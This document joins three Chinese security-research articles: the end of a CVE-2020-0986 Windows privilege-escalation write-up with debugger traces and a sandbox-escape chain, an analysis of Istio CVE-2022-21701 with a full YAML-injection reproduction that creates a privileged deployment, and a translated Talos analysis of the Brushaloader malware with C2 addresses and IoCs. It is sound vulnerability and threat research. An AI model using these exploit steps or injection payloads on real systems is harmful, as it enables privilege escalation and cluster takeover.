0:006> dq 00007ffac72e31e8
00007ffa`c72e31e8 07ffa46a`c7c34000 07ffa3f6`03994000
00007ffa`c72e31f8 07ffa3f6`038b4000 07ffa3f6`6adf4000
00007ffa`c72e3208 07ffa3f6`03a54000 07ffa3f6`0d254000
00007ffa`c72e3218 07ffa3f6`0b0f4000 07ffa3f6`06d94000
00007ffa`c72e3228 00080000`00000000 07ffa3f6`695f4000
00007ffa`c72e3238 07ffa3f6`09a04000 07ffa3f6`6fd14000
00007ffa`c72e3248 00000000`00000000 00000000`00000000
00007ffa`c72e3258 00000000`00000000 ffffffff`ffffffff
3.最后再发送一次LPC消息，同时在LPC消息中包含system函数的参数，实现漏洞利用
0:006>
gdi32full!GdiPrinterThunk+0x2ac:
00007ffa`c71a5c5c 488b0d85d51300 mov rcx,qword ptr [gdi32full!fpDocumentEvent (00007ffa`c72e31e8)] ds:00007ffa`c72e31e8=07ffa46ac7c34000
0:006> ln 00007ffa`c72e31e8
Browse module
Set bu breakpoint
(00007ffa`c72e31e8) gdi32full!fpDocumentEvent | (00007ffa`c72e31f0) gdi32full!fpQuerySpoolMode
Exact matches:
0:006> p
gdi32full!GdiPrinterThunk+0x2b3:
00007ffa`c71a5c63 48ff1536960a00 call qword ptr [gdi32full!_imp_RtlDecodePointer (00007ffa`c724f2a0)] ds:00007ffa`c724f2a0={ntdll!RtlDecodePointer (00007ffa`c94477a0)}
0:006> p
gdi32full!GdiPrinterThunk+0x2ba:
00007ffa`c71a5c6a 0f1f440000 nop dword ptr [rax+rax]
0:006> ln rax
Browse module
Set bu breakpoint
(00007ffa`c8f87ec0) msvcrt!system | (00007ffa`c8f87fe0) msvcrt!capture_argv
Exact matches:
0:006>
gdi32full!GdiPrinterThunk+0x2bf:
00007ffa`c71a5c6f 488b4f50 mov rcx,qword ptr [rdi+50h] ds:00000000`00cdcad0=0000000000a20800
0:006>
gdi32full!GdiPrinterThunk+0x2c3:
00007ffa`c71a5c73 448b4f3c mov r9d,dword ptr [rdi+3Ch] ds:00000000`00cdcabc=00000020
.........................................................
.........................................................
0:006> t
ntdll!LdrpDispatchUserCallTarget:
00007ffa`c946c590 4c8b1de9dd0e00 mov r11,qword ptr [ntdll!LdrSystemDllInitBlock+0xb0 (00007ffa`c955a380)] ds:00007ffa`c955a380=00007df5fbab0000
.........................................................
.........................................................
0:006>
ntdll!LdrpDispatchUserCallTarget+0x3b:
00007ffa`c946c5cb 48ffe0 jmp rax {msvcrt!system (00007ffa`c8f87ec0)}
0:006> da rcx
00000000`00a20200 "cmd.exe"
至此，我们已经完成的CVE-2020-0986的提权EXP编写。
## 结合CVE-2021-26411漏洞实现IE沙箱逃逸
参考 @iamelli0t师傅在看雪SDC的演讲，IE漏洞和提权漏洞结合流程如下：
1. 利用IE漏洞实现RCE，执行的shellcode功能为，反射注入一个DLL。
2. DLL的功能为远程下载并执行提权exe。
如上图所示，CVE-2021-26411配合CVE-2020-0986实现了沙箱逃逸，拿到Medium Integrity权限的shell。
## 题外话
CVE-2021-26411的[EXP](https://enki.co.kr/blog/2021/02/04/ie_0day.html)中使用Windows
RPC的方式绕过CFG，这种手法较为新颖，简单使用，
@iamelli0t师傅在他的[博客](https://iamelli0t.github.io/2021/04/10/RPC-Bypass-CFG.html)中也提到 “有理由相信，它将成为绕过 CFG 缓解的一种新的有效利用技术 ”。
CVE-2021-26411的EXP利用Windows RPC方式绕过CFG流程如下：
1. 利用漏洞构造一个任意地址读写原语
2. 替换虚表函数指针实现 JavaScript代码调用rpcrt4!NdrServerCall2
3. 伪造RPC_MESSAGE
4. 利用JavaScript调用rpcrt4!NdrServerCall2，执行VirtualProtect，修改`RPCRT4!__guard_check_icall_fptr`的内存属性
5. 替换ntdll!LdrpValidateUserCallTarget指针为KiFastSystemCallRet
6. 将第4步修改的内存属性改回原属性
7. 利用JavaScript调用rpcrt4!NdrServerCall2执行shellcode
本人研究完
CVE-2021-26411的EXP后发现此EXP中使用的RPC手法是通用的，也就是说，在其他漏洞中只要能构造出任意地址读写原语，那一般都可以直接复用此RPC手法实现bypass
CFG，一番研究后，本人在CVE-2020-17053上实现了此RPC手法bypass CFG，这里就不再展示。
## 参考链接
[1]
[https://mp.weixin.qq.com/s?__biz=MzI1MDU5NjYwNg==&mid=2247489493&idx=1&sn=146720b9aa2c5d5b75679e1691cfe231&chksm=e9fe8a44de890352b91696cf57b30c8360f3ab2306ae2e779a5bd2325ef401d4aae5349efc93&scene=178&cur_album_id=1793105970730975235#rd](https://mp.weixin.qq.com/s?__biz=MzI1MDU5NjYwNg==&mid=2247489493&idx=1&sn=146720b9aa2c5d5b75679e1691cfe231&chksm=e9fe8a44de890352b91696cf57b30c8360f3ab2306ae2e779a5bd2325ef401d4aae5349efc93&scene=178&cur_album_id=1793105970730975235#rd)
[2] <https://zhuanlan.kanxue.com/article-14133.htm>
[3] <https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-0986.html>
[4]
[https://mp.weixin.qq.com/s?__biz=MzI1MDU5NjYwNg==&mid=2247489493&idx=1&sn=146720b9aa2c5d5b75679e1691cfe231&chksm=e9fe8a44de890352b91696cf57b30c8360f3ab2306ae2e779a5bd2325ef401d4aae5349efc93&scene=178&cur_album_id=1793105970730975235#rd](https://mp.weixin.qq.com/s?__biz=MzI1MDU5NjYwNg==&mid=2247489493&idx=1&sn=146720b9aa2c5d5b75679e1691cfe231&chksm=e9fe8a44de890352b91696cf57b30c8360f3ab2306ae2e779a5bd2325ef401d4aae5349efc93&scene=178&cur_album_id=1793105970730975235#rd)
[5] <https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/>
[6] <https://enki.co.kr/blog/2021/02/04/ie_0day.html>
[7] <https://iamelli0t.github.io/2021/04/10/RPC-Bypass-CFG.html>
[8]
<https://byteraptors.github.io/windows/exploitation/2020/05/24/sandboxescape.html>
* * * | 社区文章 |
**作者：lazydog@360高级攻防实验室**
**原文链接：<http://noahblog.360.cn/go-template-meets-yaml-cve-2022-21701/>**
## 前言
本文对 CVE-2022-21701 istio 提权漏洞进行分析，介绍 go template 遇到 yaml 反序列化两者相结合时造成的漏洞，类似于
“模版注入” 但不是单一利用了模版解析引擎特性，而是结合 yaml 解析后造成了“变量覆盖”，最后使 istiod gateway controller
创建非预期的 k8s 资源。
## k8s validation
在对漏洞根因展开分析前，我们先介绍 k8s 如何对各类资源中的属性进行有效性的验证。
首先是常见的 k8s 资源，如 `Pod` 它使用了 apimachinery 提供的 validation 的功能，其中最常见的 pod name
就使用遵守 DNS RFC 1123 及 DNS RFC 1035 验证 label 的实现，其他一些值会由在 controller 中实现
validation 来验证，这样的好处是可以帮助我们避免一部分的 bug 甚至是一些安全漏洞。
const dns1123LabelFmt string = "[a-z0-9]([-a-z0-9]*[a-z0-9])?"
const DNS1123LabelMaxLength int = 63
var dns1123LabelRegexp = regexp.MustCompile("^" + dns1123LabelFmt + "$")
func IsDNS1123Label(value string) []string {
var errs []string
if len(value) > DNS1123LabelMaxLength {
errs = append(errs, MaxLenError(DNS1123LabelMaxLength))
}
if !dns1123LabelRegexp.MatchString(value) {
errs = append(errs, RegexError(dns1123LabelErrMsg, dns1123LabelFmt, "my-name", "123-abc"))
}
return errs
}
k8s 还提供了 CRD (Custom Resource Definition) 自定义资源来方便扩展 k8s apiserver, 这部分也可以使用
OpenAPI schema 来规定资源中输入输出数据类型及各种约束限制，除此之外还提供了 x-kubernetes-validations
的功能，用户可以使用 `CEL` 扩展这部分的约束限制。
下面的 yaml 就描述了定时任务创建 `Pod` 的 CRD，使用正则验证了 Cron 表达式
apiVersion: apiextensions.k8s.io/v1
kind: CustomResourceDefinition
metadata:
name: crontabs.stable.example.com
spec:
group: stable.example.com
versions:
- name: v1
served: true
storage: true
schema:
# openAPIV3Schema is the schema for validating custom objects.
openAPIV3Schema:
type: object
properties:
spec:
type: object
properties:
cronSpec:
type: string
pattern: '^(\d+|\*)(/\d+)?(\s+(\d+|\*)(/\d+)?){4}$'
image:
type: string
replicas:
type: integer
minimum: 1
maximum: 10
scope: Namespaced
names:
plural: crontabs
singular: crontab
kind: CronTab
shortNames:
- ct
另外还有一类值是无法（不方便）验证的，各个资源的注解字段 annotations 及 labels，注解会被各 controller 或 webhook
动态的去添加。
## 根因分析
istio gateway controller 使用 informer 机制 watch 对应资源 GVR 的 k8s apiserver
的端点，在资源变更时做出相应的动作，而当用户提交 kind 为 `Gateway` 的资源时，istio gateway controller
会对`Gateway`资源进行解析处理并转化为 `Service` 及 `Depolyment` 两种资源，再通过 `client-go` 提交两种资源至
k8s apiserver.
func (d *DeploymentController) configureIstioGateway(log *istiolog.Scope, gw gateway.Gateway) error {
if !isManaged(&gw.Spec) {
log.Debug("skip unmanaged gateway")
return nil
}
log.Info("reconciling")
svc := serviceInput{Gateway: gw, Ports: extractServicePorts(gw)}
if err := d.ApplyTemplate("service.yaml", svc); err != nil {
return fmt.Errorf("update service: %v", err)
}
...
}
分析`service.yaml`模版内容，发现了在位于最后一行的 `type` 取值来自于 `Annotations` ，上文也介绍到了 k8s
apiserver 会做 validation 的操作，istio gateway crd
也同样做了校验，但`Annotations`这部分不会进行检查，就可以利用不进行检查这一点注入一些奇怪的字符。
apiVersion: v1
kind: Service
metadata:
annotations:
{{ toYamlMap .Annotations | nindent 4 }}
labels:
{{ toYamlMap .Labels
(strdict "gateway.istio.io/managed" "istio.io-gateway-controller")
| nindent 4}}
name: {{.Name}}
namespace: {{.Namespace}}
...
spec:
...
{{- if .Spec.Addresses }}
loadBalancerIP: {{ (index .Spec.Addresses 0).Value}}
{{- end }}
type: {{ index .Annotations "networking.istio.io/service-type" | default "LoadBalancer" }}
众所周知 go template 是可以自行带 `\n` ，如果在 `networking.istio.io/service-type`注解中加入
`\n`就可以控制 `yaml` 文件，接着我们用单测文件进行 debug 测试验证猜想。
在`pilot/pkg/config/kube/gateway/deploymentcontroller_test.go`中对注解进行修改，加入`\n`注入`apiVersion`及`kind`。
在 `configureIstioGateway`处下断，跟进到
`ApplyTemplate`步入直接看模版的渲染结果，经过渲染后的模版，可以发现在注解中注入的`\n`模版经过渲染后对`yaml`文件结构已经造成了“破坏”，因为众所周知的`yaml`使用缩进来控制数据结构。
继续往下跟进，当`yaml.Unmarshal`进行反序列化后，可以观察到 `kind`已经被改为
`Pod`，说明可以进行覆盖，再往下跟进观察到最后反序列化后的数据由 `patcher` 进行提交，而 `patcher`的实现使用了 `client-go` 中的 `Dynamic` 接口，该接口会按照传入的
`GVR`使用`client.makeURLSegments`函数生成访问的端点，又由于我们此前的操作覆盖了 `yaml` 文件中的`GVK`
所以其对应的`GVR`也跟着变动。
# before inject LF
GVK: |
apiVersion: v1 |
kind: Service |
GVR: |
/api/v1/services |
------------------ ||
︾
# after inject LF
GVK: |
apiVersion: v1 |
kind: Pod |
GVR: |
/api/v1/pods |
-----------------
patcher 实现如下
patcher: func(gvr schema.GroupVersionResource, name string, namespace string, data []byte, subresources ...string) error {
c := client.Dynamic().Resource(gvr).Namespace(namespace)
t := true
_, err := c.Patch(context.Background(), name, types.ApplyPatchType, data, metav1.PatchOptions{
Force: &t,
FieldManager: ControllerName,
}, subresources...)
return err
}
func (c *dynamicResourceClient) Patch(ctx context.Context, name string, pt types.PatchType, data []byte, opts metav1.PatchOptions, subresources ...string) (*unstructured.Unstructured, error) {
if len(name) == 0 {
return nil, fmt.Errorf("name is required")
}
result := c.client.client.
Patch(pt).
AbsPath(append(c.makeURLSegments(name), subresources...)...).
Body(data).
SpecificallyVersionedParams(&opts, dynamicParameterCodec, versionV1).
Do(ctx)
...
}
## 漏洞复现
整理漏洞利用的思路
1. 具备创建 Gateway 资源的权限
2. 在注解 `networking.istio.io/service-type`中注入其他资源的 `yaml`
3. 提交恶意 yaml 等待 controller 创建完资源，漏洞利用完成
初始化环境，并创建相应的 clusterrole 和 binding
curl -L https://istio.io/downloadIstio | ISTIO_VERSION=1.12.0 TARGET_ARCH=x86_64 sh - istioctl x precheck
istioctl install --set profile=demo -y
kubectl create namespace istio-ingress
kubectl create -f - << EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: gateways-only-create
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["gateways"]
verbs: ["create"]
--- apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-gateways-only-create
subjects:
- kind: User
name: test
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: ClusterRole
name: gateways-only-create
apiGroup: rbac.authorization.k8s.io
EOF
kubectl get crd gateways.gateway.networking.k8s.io || { kubectl kustomize "github.com/kubernetes-sigs/gateway-api/config/crd?ref=v0.4.0" | kubectl apply -f -; }
构造并创建带有恶意 payload 注解`yaml`文件，这里在注解中注入了可创建特权容器的 `Deployment`
kubectl --as test create -f - << EOF
apiVersion: gateway.networking.k8s.io/v1alpha2
kind: Gateway
metadata:
name: gateway
namespace: istio-ingress
annotations:
networking.istio.io/service-type: |- "LoadBalancer"
apiVersion: apps/v1
kind: Deployment
metadata:
name: pwned-deployment
namespace: istio-ingress
spec:
selector:
matchLabels:
app: nginx
replicas: 1
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx:1.14.3
ports:
- containerPort: 80
securityContext:
privileged: true
spec:
gatewayClassName: istio
listeners:
- name: default
hostname: "*.example.com"
port: 80
protocol: HTTP
allowedRoutes:
namespaces:
from: All
EOF
完成攻击，创建了恶意的 pod
## 溢出了哪些权限
根据 gateway controller 使用的 istiod 的 serviceaccount，去列具备哪些权限。
kubectl --token="istiod sa token here" auth can-i --list
根据上图，可以发现溢出了的权限还是非常大的，其中就包含了 `secrets` 还有上文利用的 `deployments` 权限，涵盖至少 `istiod-clusterrole-istio-system` 和`istiod-gateway-controller-istio-system` 两个
`ClusterRole` 权限。
## 总结
审计这类 controller 时也可以关注下不同 lexer scan/parser 的差异，说不定会有意外收获。
## 参考
[Extend the Kubernetes API with
CustomResourceDefinitions](https://kubernetes.io/docs/tasks/extend-kubernetes/custom-resources/custom-resource-definitions/#validation)
[Patch
commit](https://github.com/istio/istio/pull/36197/commits/2aa1cbe02c968483f7aa5a32c6f0c0efe484c425)
* * * | 社区文章 |
# 风雨欲来：恶意软件 Brushaloader 深入分析
|
##### 译文声明
本文是翻译文章，文章原作者 talosintelligence，文章来源：blog.talosintelligence.com
原文地址：<https://blog.talosintelligence.com/2019/02/combing-through-brushaloader.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 摘要
在过去的几个月中，Cisco 的 Talos 团队监测到了多种利用 Brushaloader 向系统下载恶意代码的行为。Brushaloader
目前最主要的特征是利用了多种语言脚本，例如：使用 PowerShell 来隐藏在受害者机器上的行为，使用 VBScript 和 PowerShell
来创建一个远程访问的木马(RAT, Remote Access Trojan)，能够长期在受感染的机器上执行命令。
根据我们的监测，Brushaloader 正在不断地进化，随着攻击者不断修改自身特征并添加其他功能，Brushaloader
正在以很快的速度开发和完善。自从 2018 年中开始，我们已经监测到 Brushaloader 进化了多个版本。我们观察到的大多数与
Brushaloader 相关的恶意软件传播活动都利用特定地理区域的电子邮件来分发各种恶意软件负载，最主要地例子是 Danabot。在此之前，已经有人研究过
Danabot 了([A](https://www.welivesecurity.com/2018/09/21/danabot-targeting-europe-adds-new-features/),[B](https://www.welivesecurity.com/2018/09/21/danabot-targeting-europe-adds-new-features/))，所以这篇文章将会着重分析 Brushaloader 本身。最近， Talos 观测到与
Brushaloader 相关的恶意活动有明显的上升趋势，而且， Brushaloader 不断进化的隐藏技术也会是我们的观测值远远低于实际值。
[ThreatGrid](https://www.cisco.com/c/en/us/products/security/threat-grid/index.html) 中提供的高级命令行审计和报告功能可以有效地分析 Brushaloader 等威胁。诸如 Brushaloader
之类的威胁也说明了在大多数企业环境终端上启用和配置 PowerShell 日志记录功能的重要性。
## Brushaloader 的发展历史
### 初次交锋: 首次观测到 Brushaloader 的记录
我们第一次监测到 Brushaloader 的活动是在 2018 年 8
月。最初之所以会吸引我们关注，是因为它只使用针对波兰用户的波兰语邮件。通常来说，恶意软件都会以多种语言针对多类用户，像 Brushaloader
这样，只针对单个欧洲国家的恶意软件并不多见。下面是我们第一次发现 Brushaloader 时的一封电子邮件示例，在图片中，展示了我们最初用来识别
Brushaloader 的特征：RAR 附件文件中包含一个 Visual Basic Script 文件，该脚本导致受害者感染
Brushaloader，并下载和执行 Danabot。
关于 Brushaloader 还有一个特点是，在它的传播邮件中会有一个单词 Faktura, 是波兰语中 “发票”
的意思。虽然在接下来的几个月中，这个单词会变化，但是几乎每封邮件都会与“发票”，“账单”相关。对于传播邮件的附件，它通常是一个以 “Faktura” 命名的
RAR 文件。这个 RAR 文件都会包含一段 VBScript 脚本，用来下载有效载荷。这段 VBScript
脚本本身具有一定的对抗沙箱以及网络模拟的技术，但是并没有做太多的混淆，而是直接地与一个硬编码地 IP 地址建立了 C2 (Command and
Control) 通信。其中，这个硬编码地地址如下：
http://162.251.166.72/about.php?faxid=446708802&opt=.
一段时间后，Brushaloader 似乎陷入了一个循环： 在持续活跃一到两周后，Brushaloader
会慢慢地进入休眠，休眠几周之后会再重新开始活跃。不过有一点值得注意的是，在 Brushaloader 的不断更新与进化后，它越来越注重隐蔽自己建立 C2
通信的过程。
### 另辟蹊径：规避网络模拟，多重条件的 C2 通信
当第二次监测到 Brushaloader 活动时，Brushaloader
又增加了一部分新的功能。在程序运行的初始阶段，程序会先与一个不存在的网址进行通信，来判断是否处于一个网络仿真环境中。如果这个 GET 请求返回的是一个
HTTP /200，即访问成功，则 Brushaloader 会持续不断地访问下去。下面就是这个新功能地截图：
第一段代码片段用来对一个本来不存在的地址(www.dencedence.denceasdq)发送的 GET 请求。第二段代码判断返回的结果是否为
HTTP/200。第三段代码中，如果是返回的是
HTTP/200，则会陷入一个无限的递归中。这是一个简单方法，用来判断自己是否处于网络模拟环境中。这些简单的技术可以在躲避某些种类的监测和分析时发挥意想不到的用途。
几天后发起的一次活动又做了一些改变。早期版本的脚本只通过硬编码的IP地址通信，这次的脚本会从一个域名和硬编码IP中进行随机选择，然后开始通信，下面就是这个版本的部分代码：
这段代码中实现了 C2 请求的初始化。这个请求中包含了一些新的变量和功能。从这个图中可以看出， (1) Brushaloader
随机的选择一个地址进行通信，候选的地址已经在 DaLoweRsxMinsa 函数中列出。 (2) 然虽硬编码的 IP
地址(192.3.204.226)与域名(emailerservo.science)托管在不同的服务器上，但是却可以响应相同的路径。
在接下来的几个月里，这个特征将一直保持不变，但是随着时间的推移，它们又会出现一些微妙的变化。
### 虚虚实实：使用普通的 URL 来混淆
上面的两波活动主要出现在整个九月以及十月的前几天，之后，Brushaloader 又出现了变种。 Brushaloader 在混淆 C2
通信的方法上出现了一些细微的变化。在十月初的变种中，Brushaloader 又增加了一个合法的域名用来选择：
在这里，Brushaloader 又增加了一个 google.com 域名作为其建立 C2 通信的候选域名。在接下来的几个月中，Brushaloader
又逐渐增加了 www.ti.com 和 www.bbc.com
两个域名。这是躲避沙箱监测的另一种简单方法，在这种方法中，VBScript只会周期性地向这些域名发送请求。
### 删繁就简：精简的版本出现
在 2018 年十月之后，Brushaloader 出现了特别明显的变化。 包括删除了所有地虚假域名，并且，在 WScript
中加入了注册表操作，能够从注册表中读写数据。 它可能只是用来做某些权限检查，但是所有权限级别的所有用户都能够查询键值
HKEY_CURRENT_USER，这又十分的矛盾。我们无法得知其真正地目的。下面是实现此检查时的屏幕截图。
这个检查的功能持续时间相对较短，也就是在十月份的最后几天出现过，在这之后，Brushaloader 就完全从 WScript 迁移到了 Internet
Explorer中。 除此之外，VBScript经过了大量的简化，从一个4KB的文本变成了小于1KB的文本。下面是整个VBScript的屏幕截图。
大多数检查和隐蔽技术都被移除了，只保留了一些睡眠的命令来躲避沙箱检测。
需要注意的是，标亮的代码创建了一个无头 IE 浏览器实例， Brushaloader 与 C2 服务器就是通过这个无头浏览器进行通信的。
此外，Brushaloader 完全放弃了使用域名，退而只是使用硬编码 IP 来托管所有的内容。
### 狼烟再起：新语种的出现
也是在这个时候，Cisco 的 Talos 团队监测到恶意传播邮件出现了波兰语之外的语种。与此同时，与 Brushaloader
相关的多个语种的活动也活跃起来，下面是德语语种的一个例子：
这波活动的邮件主题主要都是“所得税申报表”，在邮件的正文中提到了未付账单的附件，并威胁收件人，如果付款未汇出，将采取法律行动。比较有意思的是，”Faktura”在德语中翻译为账单，在波兰语中翻译为发票。
又过几个星期，大约在11月中旬，Brushaloader 又开始重新加入了一些虚假域名的检测，如下所示：
在这个特定的版本中， Brushaloader 将发送一个HTTP请求来获取 <http://someserver/folder/file.pdf>,
同样的，如果返回 HTTP/200 则会陷入死循环。几天后，Brushaloader 再次变化，在 C2 通信时不再使用硬编码IP，转而使用域名。
### 不破不立：11月底的重构
在 11 月底的活动中，VBScript 脚本被全面的重构了一遍，并在实现上做了一些改进。第一个更改是 VBScript 首先创建一个文件系统对象，它允许
Brushaloader 读写磁盘文件。
接下来，脚本会下面的函数中调用这个文件系统对象。
下图是 WriteFile 以及 readFile 函数，用来读写系统中的文件。需要注意的是，在函数的调用之间，会有几秒的 Sleep。
WriteFile函数会专门在临时文件夹中创建一个文件，然后将ASCII文本”test”以及vbCrLf的引用写入文件中，这是VBScripting早期的残余，如果成功创建，则会返回“rn”。readFile函数会读取包含”test”的行，并将其存储在变量strLine中。在又
Sleep 了一下后，会调用函数 HttpsSend 函数，下面是HttpsSend函数。
这里有一些关键的变化要注意。首先是 Brushaloader 已经开始使用域名而不是硬编码的 IP 了，而且通信的流量也已经变成了 HTTPS。
此外,请求的方法已经从一个GET到POST。
请求发出后，收到的响应被存到一个数组中，之后，在 Sleep 了 10 秒钟后，调用了 Emulator 函数:
Emulator 函数检查以确保在脚本之前创建的文件中具有”test”字符串。
如果文件有”test”,那么脚本将执行由C2服务器发送的命令,并将命令存储到数组 ArrAddMyArray 中。
上面的所有行为都是在一个while循环中完成的，它不断地相应C2服务器的各种指令，类似一个简单地框架。
这次的活动规模并不大，到11月底就停止了。在整个12月和1月的大部分时间里， Brushaloader 不太活跃。然而，在1月底和2月初，情况又发生了变化。
### 风起云涌：最近期的活动
今年 1 月底， Brushaloader 的活动又一次活跃了起来，与之前相同， Brushaloader 仍然使用电子邮件传播具有恶意 VBScript
脚本的 RAR 文件。
这次的活动主要从基于波兰语的电子邮件开始，下图就是这个邮件的例子：
这与我们在之前看到的 Brushaloader 邮件十分类似，以波兰语的 “Faktura” 为主题，并附带一个包含恶意 VBScript 脚本的 RAR
文件。
然而，最值得注意的是，这次的活动是我们首次监测到意大利语的邮件：
在这个意大利语的邮件中，与之前的 Brushaloader 传播邮件非常相似。他们的主题是 “Fattura”，
也是意大利语中发票的意思，同样，附件还是一个带有 VBScript 脚本的 RAR 文件。
在搜集系统信息、执行指令、以及提供附加载荷时，脚本使用的语言用到了 PowerShell。 此外，这次活动的规模是前所未见的，很有可能代表
Brushaloader 已经发展成熟，准备在世界范围内扩散，而不再仅仅局限于欧洲地区。 新功能的完整细节将在本博客的后面部分进行介绍，包括对利用
HTTPS 进行 C2 通信的深入研究。
这次的活动一直持续到 2 月份的第一周，自那以后又处于不活跃的状态。 在过去的半年里，Brushaloader 已经从一种新的基于 vbscript
的加载程序，发展成为一种日益完善的分布式威胁。 下面的时间表说明了 Brushaloader 的开发迭代非常的快。 按照往常的经验，Brushaloader
将是一个非常严重的威胁。
## Brushaloader 中用到的抗分析技术
在许多公司的内部网络中，任何从外界引入的文件都先提交到类似 sandboxes
地自动化分析平台中进行分析。分析平台会自动的执行该文件并观察系统活动，以确定该文件是恶意的还是良性的。如果是良性的，才允许将该文件传输到内部网路中。
Brushaloader
发起者们一开始就意识到了这种情况，并且不断地提出一些新的方法来绕过它。通常情况下，这些机制都是为了隐藏恶意文件的行为，以绕过自动化分析平台的检测。
此外，Brushaloader 还使用了多个 Sleep 定时器，它能使恶意程序休眠一段时间。
在一般情况下，恶用户意软件都会利用邮件的附件来引诱用户输入一些信息。然而，由于许多自动检测和分析平台并不能模拟用户提交信息，因此无法使恶意软件的感染程序启动。Brushaloader
同样利用这种技术，以增加其感染的成功率。
### 用户交互
在过去几个月的 Brushaloader
活动中，我们观察到的一个变化是，恶意软件的下载程序在受感染系统上执行恶意行为之前，需要与用户进行交互。攻击者通常会利用用户交互来绕过自动化分析平台。
对于 Brushaloader, 它的邮件中包含了 RAR 文件，RAR 文件中又包含了 VBScript 脚本。这个 VBScript
脚本会向攻击者控制的服务器发送一个 HTTP 请来下载 PE 文件。 当然，在下载 PE 文件之前，VBScript
会弹出一个对话框，上面显示了Fibonacci序列的各种字符，并且有一个 OK 按钮:
当 VBS 脚本执行后，就会跟着弹出下面的对话框：
用户一旦点击 OK
按钮，就会触发脚本下载恶意程序。这种需要用户交互的机制能够绕过许多自动化分析平台，因为大部分的分析平台都没有考虑过用户交互的情况。因此这种方法会导致检测率很低。
### 虚假域名
许多次活动中， Brushaloader
的脚本利用原本不存在的域名来检测其是否正在一个仿真网络环境中。在许多恶意软件分析的环境中，网络仿真是允许恶意软件与外界进行交互的。如果样本所请求的资源不存在，则仍然会返回请求成功。当
C2 服务器下线时，或者在缺少网络链接的环境中，这个方法尤其有用。有许多工具都会提供这个功能，其中有两个工具特别常用:
[inetsim](https://www.inetsim.org/) 和 [FakeNet-NG](https://github.com/fireeye/flare-fakenet-ng)。
对于 Brushaloader 来说，
他们会请求一些根本不存在的顶级域名(比如www.weryoseruisasds.oedsdenlinsedrwersa)，或者是直接使用主机名，而不是域名(比如
someserver)。
很显然，这两种情况都不可能连通，这只是简单的检测一下这是不是在一个仿真网络环境中。
## 装载器功能
一旦初始感染过程开始，前面描述的多阶段 VBS 脚本就开始执行了。受感染的系统向 C2 服务器发出 HTTPPOST 请求。然后会对HTTP
POST请求的响应进行处理。
第一阶段的 VBS 脚本负责执行下面一段编码的 PowerShell 脚本:
这段编码后的 PowerShell 脚本会被执行三次，最终被解码成:
这会向 C2 服务器发送一个 HTTP 请求，并且会执行另一组命令：
这段脚本解码后为:
这段代码主要负责与受感染的系统建立一个远程会话，然后使用该会话在受感染的系统上执行命令，并获取命令执行的结果。 就这样，这个脚本循环执行，等待并运行 C2
服务器的指令。 此外，这个会话还可以用于执行各种 Powershell 命令， Brushaloader 一般会使用 PowerShell
命令收集系统信息。
例如，上面的 PowerShell 将会被传给 IEX 并执行，执行的结果将会传回给 C2 服务器。
由上图可知，攻击者会尝试枚举以下的系统信息。
ProcessorId
Windows operating system version
Currently logged in Username
Installed Antivirus Products
System Make/Manufacturer
Powershell version
IP address information
Available memory
Current Working Directory
System Installation Date/Time
Display Adapter Information
然后，所有这些信息都可以用于判断是否需要使用额外的恶意载荷感染系统，或者应该向系统下载哪些模块。
此外，在受感染系统上运行的Powershell进程还会创建 Windows 快捷方式(LNK)来实现持久化，该快捷方式被添加到系统上的启动目录:
快捷方式文件中包含 Powershell 脚本，用来读写注册表项的内容，以便在每次重新启动系统时自动执行一些指令。
被写入注册表的脚本命令如下：
这个脚本解码后为，用来通过HTTPS协议向 C2 服务器进行通信。
## 活跃时间分布
Cisco Talos 团队从 2018 年中就监测到了与 Brushaloader 有关的而已活动。与 Emotet
等其他商业恶意软件分发活动相比，这些活动的数量相对较低。在我们分析的大多数情况下，主要的传播都发生在每个月底。然而，我们最近发现它活动的数量和持续时间显著增加。
下图显示了当前的活跃的数量与 2018 年大部分时间观察到的活跃数量的对比。
除了传播活动的数量发生了变化之外，我们还观察到攻击的目标收件人群发生了变化。起初，这些活动将目标定位在波兰人中，后来，我们观察到新的活动扩展到德国、意大利和其他国家的用户。
## 总结
就像 Brushaloader 一样，恶意软件传播的机制一直在变化。这篇博客概述了它是如何不断变化和发展的。事实上， Brushaloader
所使用的技术并不是特别的新颖，但是其开发人员的开发迭代速度使我们不得不重视。此外，值得注意的是，经过去年12月和今年1月长时间的沉寂后，Brushaloader
已经发展的非常完善，随时都可能会爆发。开始 Brushaloader
只是专门针对波兰，后来逐渐扩散到其他的几个国家。然而，这种限定区域的传播策略并不太常见。
Brushaloader 是一个典型的例子，这个简单的基于 VBS
的恶意软件以很少的代码实现了多种巧妙的规避和混淆技术，同时，攻击者不断在改进，并开发新的方式来向用户传播恶意软件。我们将继续监控这一威胁，并将继续保持警惕，保护我们的客户免受损失。
## IoC
### 传播邮件的附件
* RAR 文件
234个出现过的 RAR [文件哈希](https://alln-extcloud-storage.cisco.com/ciscoblogs/5c6d7a32eda38.txt)
* VBS 文件
150个出现过的 VBS [文件哈希](https://alln-extcloud-storage.cisco.com/ciscoblogs/5c6d7a4e78bd6.txt)
### 域名
cheapairlinediscount[.]site
emailerservo[.]science
faxpctodaymessage[.]press
faxpctodaymessage[.]space
faxpctodaymessage[.]website
faxzmessageservice[.]club
fazadminmessae[.]info
housecleaning[.]press
hrent[.]site
irepare[.]site
macmall[.]fun
managerdriver[.]website
mantorsagcoloms[.]club
mediaaplayer[.]win
mobileshoper[.]science
plomnetus[.]club
ppservice[.]stream
progresservesmail[.]science
proservesmail[.]science
proservesmailing[.]science
searchidriverip[.]space
servemai[.]science
servemaining[.]science
serveselitmail[.]science
serveselitmailer[.]science
servesmailelit[.]science
servesmailerpro[.]science
servesmailerprogres[.]science
servespromail[.]science
servicemaile[.]science
serviveemail[.]science
servoemail[.]science
servomail[.]science
### IP Address
107[.]173[.]193[.]242
107[.]173[.]193[.]243
107[.]173[.]193[.]244
107[.]173[.]193[.]246
107[.]173[.]193[.]247
107[.]173[.]193[.]248
107[.]173[.]193[.]249
107[.]173[.]193[.]250
107[.]173[.]193[.]251
107[.]173[.]193[.]252
107[.]173[.]193[.]253
162[.]251[.]166[.]72
172[.]245[.]159[.]130
185[.]212[.]44[.]114
